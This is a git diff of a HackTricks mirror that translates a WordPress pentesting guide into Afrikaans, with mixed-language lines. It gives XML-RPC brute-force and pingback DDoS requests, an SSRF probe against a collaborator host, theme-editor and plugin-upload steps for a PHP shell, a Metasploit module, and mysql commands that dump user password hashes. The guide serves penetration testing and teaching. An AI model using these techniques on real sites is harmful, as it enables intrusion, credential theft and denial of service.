mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
ddc0e259b0
commit
7b3494d55e
@ -4,49 +4,49 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Uploaded** lêers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In **wp-config.php** you can find the root password of the database.
|
||||
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- In **wp-config.php** kan jy die root-wagwoord van die databasis vind.
|
||||
- Standaard aanmeldpaaie om te kontroleer: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contains useful information such as the version WordPress installed.
|
||||
- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
|
||||
- Login folders (may be renamed to hide it):
|
||||
- `license.txt` bevat nuttige inligting soos die geïnstalleerde WordPress-weergawe.
|
||||
- `wp-activate.php` word gebruik vir die e-pos-aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.
|
||||
- Aanmeld-mappes (kan hernoem wees om dit te verberg):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- The `wp-content` folder is the main directory where plugins and themes are stored.
|
||||
- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
|
||||
- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
|
||||
- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
|
||||
- `xmlrpc.php` is 'n lêer wat 'n funksie van WordPress verteenwoordig wat data toelaat om gestuur te word met HTTP as die transpor-meganisme en XML as die enkodering. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Die `wp-content` vouer is die hoofgids waar plugins and themes gestoor word.
|
||||
- `wp-content/uploads/` is die gids waar enige lêers wat na die platform opgelaai is, gestoor word.
|
||||
- `wp-includes/` dit is die gids waar kernlêers gestoor word, soos sertifikate, fonts, JavaScript-lêers, en widgets.
|
||||
- `wp-sitemap.xml` In Wordpress weergawes 5.5 en later, genereer Worpress 'n sitemap XML-lêer met alle openbare plasings en publiek navraagbare posttipes en taksonomieë.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
|
||||
- Die `wp-config.php` lêer bevat inligting wat benodig word deur WordPress om aan die databasis te koppel soos die databasisnaam, databasis-host, gebruikersnaam en wagwoord, authentication keys and salts, en die databasis tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees by foutopsporing.
|
||||
|
||||
### Users Permissions
|
||||
### Gebruikerstoestemmings
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Publish and manages his and others posts
|
||||
- **Author**: Publish and manage his own posts
|
||||
- **Contributor**: Write and manage his posts but cannot publish them
|
||||
- **Subscriber**: Browser posts and edit their profile
|
||||
- **Editor**: Publiseer en bestuur sy eie en ander se plasings
|
||||
- **Author**: Publiseer en bestuur sy eie plasings
|
||||
- **Contributor**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
|
||||
- **Subscriber**: Blaai deur plasings en wysig hul profiel
|
||||
|
||||
## **Passive Enumeration**
|
||||
## **Passiewe Enumerasie**
|
||||
|
||||
### **Get WordPress version**
|
||||
|
||||
Check if you can find the files `/license.txt` or `/readme.html`
|
||||
Kontroleer of jy die lêers `/license.txt` of `/readme.html` kan vind
|
||||
|
||||
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
Binne die **bronkode** van die blad (voorbeeld vanaf [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- CSS-lêers
|
||||
- CSS link-lêers
|
||||
|
||||
.png>)
|
||||
|
||||
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
### Kry inproppe
|
||||
### Kry Plugins
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -72,16 +72,16 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Ekstraheer weergawes in die algemeen
|
||||
### Uittrek van weergawes in die algemeen
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Aktiewe enumerasie
|
||||
|
||||
### Plugins and Themes
|
||||
### Inproppe en temas
|
||||
|
||||
Jy sal waarskynlik nie al die Plugins and Themes kan vind nie. Om hulle almal te ontdek, sal jy **actively Brute Force a list of Plugins and Themes** moet uitvoer (hopelik is daar geoutomatiseerde gereedskap wat hierdie lyste bevat).
|
||||
Jy sal waarskynlik nie alle inproppe en temas kan vind nie. Om al hulle te ontdek, sal jy nodig hê om **aktyf 'n lys van inproppe en temas te Brute Force** (hopelik is daar geautomatiseerde tools wat hierdie lyste bevat).
|
||||
|
||||
### Gebruikers
|
||||
|
||||
@ -89,9 +89,9 @@ Jy sal waarskynlik nie al die Plugins and Themes kan vind nie. Om hulle almal te
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Indien die antwoorde **200** of **30X** is, beteken dit dat die **id** **geldig** is. As die antwoord **400** is, is die **id** **ongeldig**.
|
||||
As die antwoorde **200** of **30X** is, beteken dit dat die id **geldig** is. As die antwoord **400** is, dan is die id **ongeldig**.
|
||||
|
||||
- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur navraag te doen:
|
||||
- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae uit te voer:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
@ -99,17 +99,17 @@ Nog 'n `/wp-json/` endpoint wat sekere inligting oor gebruikers kan openbaar, is
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Let wel dat hierdie endpoint slegs gebruikers openbaar wat 'n pos gemaak het. **Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
|
||||
Note that this endpoint only exposes users that have made a post. **Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
|
||||
|
||||
Let ook daarop dat **/wp-json/wp/v2/pages** IP-adresse kan leak.
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
|
||||
- **Login username enumeration**: Wanneer jy by **`/wp-login.php`** aanmeld, is die **boodskap** **anders** en dui dit aan of die **gebruikersnaam bestaan of nie**.
|
||||
- **Login username enumeration**: Wanneer daar aangemeld word by **`/wp-login.php`** is die **boodskap** **anders** en dui dit aan of die **gebruikersnaam bestaan of nie**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
As `xml-rpc.php` aktief is, kan jy credentials brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (Jy kan hierdie proses[ using this](https://github.com/relarizky/wpxploit) byvoorbeeld outomatiseer).
|
||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Jy kan hierdie proses automatiseer[ using this](https://github.com/relarizky/wpxploit) byvoorbeeld).
|
||||
|
||||
Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur hierdie versoek:
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**Kontroleer**
|
||||
```html
|
||||
@ -122,7 +122,7 @@ Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om brute-force credentials te bekom. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is 'n paar metodes wat gebruik kan word om credentials te brute-force. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -138,7 +138,7 @@ Die boodskap _"Incorrect username or password"_ binne 'n 200 code response moet
|
||||
|
||||
.png>)
|
||||
|
||||
Met die korrekte credentials kan jy 'n lêer oplaai. In die response sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Met die korrekte credentials kan jy 'n lêer upload. In die response sal die path verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,17 +168,18 @@ Met die korrekte credentials kan jy 'n lêer oplaai. In die response sal die pad
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
Daar is ook 'n **sneller manier** om brute-force credentials te doen deur **`system.multicall`** te gebruik, aangesien jy verskeie credentials in dieselfde versoek kan probeer:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, **mag jy in staat wees om xmlrpc.php te misbruik om met daardie creds in te log en 2FA te omseil**. Neem kennis dat jy nie al die aksies kan uitvoer wat jy via die console kan doen nie, maar jy mag steeds RCE bereik soos Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud; daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang beskerm word deur 2FA, **mag jy dalk xmlrpc.php kan misbruik om met daardie creds in te log en 2FA te omseil**. Let wel dat jy nie al die aksies kan uitvoer wat jy deur die console kan doen nie, maar jy mag steeds toegang tot RCE kry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy Wordpress laat 'n arbitrêre versoek na enige host/port stuur. Dit kan gebruik word om **duisende** Wordpress **sites** te laat **access** een **location** (sodat 'n **DDoS** op daardie plek veroorsaak word), of jy kan dit gebruik om Wordpress te laat **scan** 'n interne **network** (jy kan enige port aandui).
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** a interne **network** te laat **scan** (you can indicate any port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -190,7 +191,7 @@ As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy Wordpress laat
|
||||
```
|
||||

|
||||
|
||||
As jy **faultCode** kry met 'n waarde **groter** as **0** (17), beteken dit dat die poort oop is.
|
||||
As jy **faultCode** kry met 'n waarde **groter** as **0** (17), beteken dit die poort is oop.
|
||||
|
||||
Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
|
||||
|
||||
@ -208,15 +209,15 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Hierdie lêer bestaan gewoonlik in die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\
|
||||
Wanneer hierdie lêer **geakses** word, word 'n "**swaar**" MySQL **query** uitgevoer, sodat dit deur **aanvallers** gebruik kan word om 'n **DoS** te **veroorsaak**.\
|
||||
Ook, standaard word die `wp-cron.php` by elke bladsylaai aangeroep (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op werwe met hoë verkeer probleme kan veroorsaak (DoS).
|
||||
Hierdie lêer bestaan gewoonlik onder die root van die Wordpress-site: **`/wp-cron.php`**\
|
||||
Wanneer hierdie lêer **accessed** word, word 'n "**heavy**" MySQL **query** uitgevoer, so dit kan deur **attackers** gebruik word om 'n **DoS** te **cause**.\
|
||||
Boonop, standaard word `wp-cron.php` op elke bladsylaai aangeroep (elke keer as 'n client enige Wordpress-bladsy versoek), wat op hoë-verkeersites probleme kan veroorsaak (DoS).
|
||||
|
||||
Dit word aanbeveel om Wp-Cron te deaktiveer en 'n regte cronjob op die host te skep wat die nodige take met gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
|
||||
Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob op die host te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Probeer om toegang te kry tot _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ en die Wordpress-werf mag 'n versoek aan jou stuur.
|
||||
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te besoek en die Worpress-site mag 'n versoek aan jou maak.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -229,9 +230,9 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Hierdie tool kontroleer of die **methodName: pingback.ping** en die pad **/wp-json/oembed/1.0/proxy** bestaan — as dit bestaan, probeer dit om dit te exploit.
|
||||
Hierdie tool kontroleer of die **methodName: pingback.ping** en die pad **/wp-json/oembed/1.0/proxy** bestaan; as dit bestaan probeer dit om hulle te exploit.
|
||||
|
||||
## Outomatiese Tools
|
||||
## Outomatiese gereedskap
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
@ -239,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Kry toegang deur 'n bit te oorskryf
|
||||
|
||||
Meer 'n nuuskierigheid as 'n werklike aanval. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer flip. Dus kon jy posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` flip om die NOT (`!`) operasie te NOP.
|
||||
Meer as 'n regte aanval is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy flip 1 bit van enige wordpress-lêer. Dus kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` flip om die NOT (`!`) operasie te NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Paneel RCE**
|
||||
|
||||
**Aanpassing van 'n php-lêer van die tema wat gebruik word (admin credentials benodig)**
|
||||
**Wysig 'n php uit die gebruikte tema (administrateur-aanmeldbewyse benodig)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (aan die regterkant)
|
||||
Voorkoms → Tema-redigeerder → 404-sjabloon (aan die regterkant)
|
||||
|
||||
Verander die inhoud na 'n php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Soek op die internet hoe jy daardie bygewerkte bladsy kan bereik. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hierdie adres besoek: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -262,14 +263,14 @@ Jy kan gebruik:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
om 'n session te kry.
|
||||
om 'n sessie te kry.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
|
||||
Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\
|
||||
Skep jou php backdoor byvoorbeeld met:
|
||||
Skep jou php backdoor byvoorbeeld soos:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -277,7 +278,7 @@ Voeg dan 'n nuwe plugin by:
|
||||
|
||||
.png>)
|
||||
|
||||
Laai die plugin op en klik Install Now:
|
||||
Laai die plugin op en druk Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -285,44 +286,44 @@ Klik op Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Waarskynlik sal dit eintlik niks doen nie, maar as jy na Media gaan, sal jy jou shell sien wat opgelaai is:
|
||||
Waarskynlik sal dit skynbaar niks doen nie, maar as jy na Media gaan, sal jy jou shell sien opgelaai:
|
||||
|
||||
.png>)
|
||||
|
||||
Maak dit oop en jy sal die URL sien om die reverse shell uit te voer:
|
||||
Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
### Oplaai en aktivering van 'n kwaadaardige plugin
|
||||
|
||||
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te bekom. Hierdie proses word via die WordPress dashboard uitgevoer soos volg:
|
||||
Hierdie metode behels die installering van 'n kwaadaardige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te kry. Hierdie proses word via die WordPress dashboard uitgevoer soos volg:
|
||||
|
||||
1. **Plugin Acquisition**: Die plugin word verkry vanaf 'n bron soos Exploit DB soos [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Navigeer na die WordPress dashboard, gaan dan na `Dashboard > Plugins > Upload Plugin`.
|
||||
1. **Verkryging van plugin**: Die plugin word verkry vanaf 'n bron soos Exploit DB, byvoorbeeld [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Installering van plugin**:
|
||||
- Navigeer na die WordPress dashboard, dan na `Dashboard > Plugins > Upload Plugin`.
|
||||
- Laai die zip-lêer van die afgelaaide plugin op.
|
||||
3. **Plugin Activation**: Sodra die plugin suksesvol geïnstalleer is, moet dit via die dashboard geaktiveer word.
|
||||
4. **Exploitation**:
|
||||
3. **Aktivering van plugin**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
|
||||
4. **Eksploitering**:
|
||||
- Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
|
||||
- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word, wat ongemagtigde toegang tot die site verleen.
|
||||
- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress site uit te buiten.
|
||||
- Die Metasploit framework voorsien 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongemagtigde toegang tot die webwerf gee.
|
||||
- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf uit te buit.
|
||||
|
||||
Die inhoud bevat visuele hulpmiddels wat die stappe in die WordPress dashboard uitbeeld vir die installering en aktivering van die plugin. Dit is egter belangrik om te let dat die uitbuiting van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming.
|
||||
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress dashboard uitbeeld vir die installering en aktivering van die plugin. Dit is egter belangrik om op te merk dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**Vir meer gedetailleerde stappe kyk:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
## Van XSS na RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)**-kwesbaarheid te eskaleer na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer info kyk [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)**-kwesbaarheid op te gradeer na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir WordPress weergawes 6.X.X, 5.X.X en 4.X.X en laat toe om:**
|
||||
- _**Privilege Escalation:**_ Skep 'n gebruiker in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Laai jou pasgemaakte plugin (backdoor) op na WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Redigeer ingeboude plugins in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Redigeer ingeboude temas in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Pasgemaakte exploits vir derdeparty WordPress plugins/temas.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Laai jou custom plugin (backdoor) na WordPress op.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Wysig 'n ingeboude plugin in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Wysig 'n ingeboude tema in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom exploits vir derdeparty WordPress-plugins/temas.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Haal usernames en passwords uit:
|
||||
Onttrek gebruikersname en wagwoorde:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -334,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Aanvalsoppervlak
|
||||
|
||||
Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Om te verstaan hoe 'n Wordpress plugin funksionaliteit kan blootstel, is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX handlers. Hierdie kan logika-, authorization- of authentication-bugs bevat. Boonop gebeur dit dikwels dat hierdie funksies beide die authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat in die Wordpress instance geauthentiseer is** kan hê (ongeag hul rol).
|
||||
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX handlers. Hierdie kan logiese, authorization- of authentication-bugs bevat. Verder is dit gereeld dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat in die Wordpress-instansie geauthentikeer is, kan hê** (onafhanklik van sy rol).
|
||||
|
||||
Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Die gebruik van `nopriv` maak die endpoint deur enigiemand toeganklik (selfs nie-geauthentiseerde gebruikers).**
|
||||
**Die gebruik van `nopriv` maak die endpoint deur alle gebruikers toeganklik (selfs ongeauthentiseerde gebruikers).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Verder, as die funksie net die autorisasie van die gebruiker met die funksie `wp_verify_nonce` kontroleer, kontroleer hierdie funksie net of die gebruiker ingeklok is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan gebruikers met laer voorregte toegang hê tot aksies wat hoër voorregte vereis.
|
||||
> Verder, as die funksie net die outorisering van die gebruiker nagaan met die funksie `wp_verify_nonce`, kontroleer hierdie funksie net of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan gebruikers met lae bevoegdhede toegang hê tot aksies met hoë bevoegdhede.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n REST API te registreer met die funksie `register_rest_route`:
|
||||
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n rest AP te registreer met die funksie `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -362,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
Die `permission_callback` is 'n callback-funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
|
||||
Die `permission_callback` is 'n callback-funksie wat kontroleer of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
|
||||
|
||||
**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.**
|
||||
**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikers se toestemmingskontrole oorskiet.**
|
||||
|
||||
- **Direkte toegang tot die php-lêer**
|
||||
- **Direct access to the php file**
|
||||
|
||||
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk via die web toeganglik. Dus, as 'n plugin enige kwesbare funksionaliteit ontsluit wat net deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word.
|
||||
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk via die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat net deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word.
|
||||
|
||||
